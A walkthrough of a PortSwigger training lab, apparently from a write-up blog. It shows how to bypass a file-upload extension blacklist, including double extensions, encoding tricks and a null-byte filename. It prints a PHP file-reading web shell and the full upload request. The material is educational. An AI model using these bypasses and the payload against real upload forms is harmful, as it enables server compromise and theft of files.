← Back to Writeups
PORTSWIGGERN/AFile_Upload

Web shell upload via obfuscated file extension

XESXOR9/2/20264 min read
#file_upload#portswigger#web-security-academy

Web shell upload via obfuscated file extension

Platform: PortSwigger | Category: File_Upload | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, File_Upload

Summary

Walkthrough of the PortSwigger Web Security Academy lab Web shell upload via obfuscated file extension (File_Upload). This lab demonstrates a file_upload vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — File_Upload

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Overview :

Obfuscating file extensions -

Even the most exhaustive blacklists can potentially be bypassed using classic obfuscation techniques. Let's say the validation code is case sensitive and fails to recognize that exploit.pHp is in fact a .php file. If the code that subsequently maps the file extension to a MIME type is not case sensitive, this discrepancy allows you to sneak malicious PHP files past validation that may eventually be executed by the server.

You can also achieve similar results using the following techniques:

  • Provide multiple extensions- exploit.php.jpg
  • Add trailing characters- Some components will strip or ignore trailing whitespaces, dots, and suchlike: exploit.php.
  • URL encoding (or double URL encoding) the dots, forward slashes, and backward slashes - If the value isn't decoded when validating the file extension, but is later decoded server-side, this can also allow you to upload malicious files that would otherwise be blocked: exploit%2Ephp
  • Add semicolons or URL-encoded null byte characters before the file extension - If validation is written in a high-level language like PHP or Java, but the server processes the file using lower-level functions in C/C++, for example, this can cause discrepancies in what is treated as the end of the filename: exploit.asp;.jpg or exploit.asp%00.jpg
  • Try using multibyte unicode characters, which may be converted to null bytes and dots after unicode conversion or normalization. Sequences like xC0 x2E, xC4 xAE or xC0 xAE may be translated to x2E if the filename parsed as a UTF-8 string, but then converted to ASCII characters before being used in a path.

Other defenses involve stripping or replacing dangerous extensions to prevent the file from being executed. If this transformation isn't applied recursively, you can position the prohibited string in such a way that removing it still leaves behind a valid file extension. For example, consider what happens if you strip .php from the following filename: exploit.p.phphp

Solution :

Log in as wiener using the credentials provided. Upload a .php file with the contents : <?php echo file_get_contents('/home/carlos/secret'); ?>

Uploading .php file -

The following is the POST request sent when uploading an avatar.

POST /my-account/avatar HTTP/1.1
Host: 0a87008704f75da98037b8c300a60099.web-security-academy.net
Cookie: session=iDD3MDQvlWdNxVZsP37i3wNB6JgGcov3
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------6170160073347684872772099132
Content-Length: 535
Origin: https://0a87008704f75da98037b8c300a60099.web-security-academy.net
Referer: https://0a87008704f75da98037b8c300a60099.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------6170160073347684872772099132
Content-Disposition: form-data; name="avatar"; filename="read.php"
Content-Type: application/x-php

<?php echo file_get_contents('/home/carlos/secret'); ?>

-----------------------------6170160073347684872772099132
Content-Disposition: form-data; name="user"

wiener
-----------------------------6170160073347684872772099132
Content-Disposition: form-data; name="csrf"

ECWAM2zUPdHzP1UJam8yAr0TIumvPr9Q
-----------------------------6170160073347684872772099132--

Since we uploaded a .php file we get a response stating that only JPG & PNG files are allowed.

image

Uploading .php.jpg file -

So I tried various obfuscating ways but he one that worked for me is changeing the filename parameter to - filename="read.php.jpg"

The server just checks that it ends with .jpg , if YES then the file is uploaded. This is a very weak defense mechanism being implemented.

image

But when we try to access the file, we get this error

image

Thjs is beacuse the file is saved with .jpg extension, so the server is facing error when processing it since it considers it as a jpg file.

Uplaoding .php%00.jpg file

To prevent this , we need to somehow make the server execute this as a .php file. For this we can use %00 nullbyte character before the extension.

ie - read.php%00.jpg . This way when the server processes the file using lower-level functions in C/C++, it treats nullbyte as end of string & thus it is validated as read.php and finally executes it.

So when we chaange filename="read.php%00.jpg" and forward the request, we get a response stating that read.php has been uploaded .

Notice that the server response is read.php and not read.php.jpg

Now we can read the file at /files/avatars/read.php to get the secret key of carlos.

image

Submit the key to solve the lab.

image

Key Takeaways / Lessons

  • Understanding File_Upload detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Web shell upload via obfuscated file extension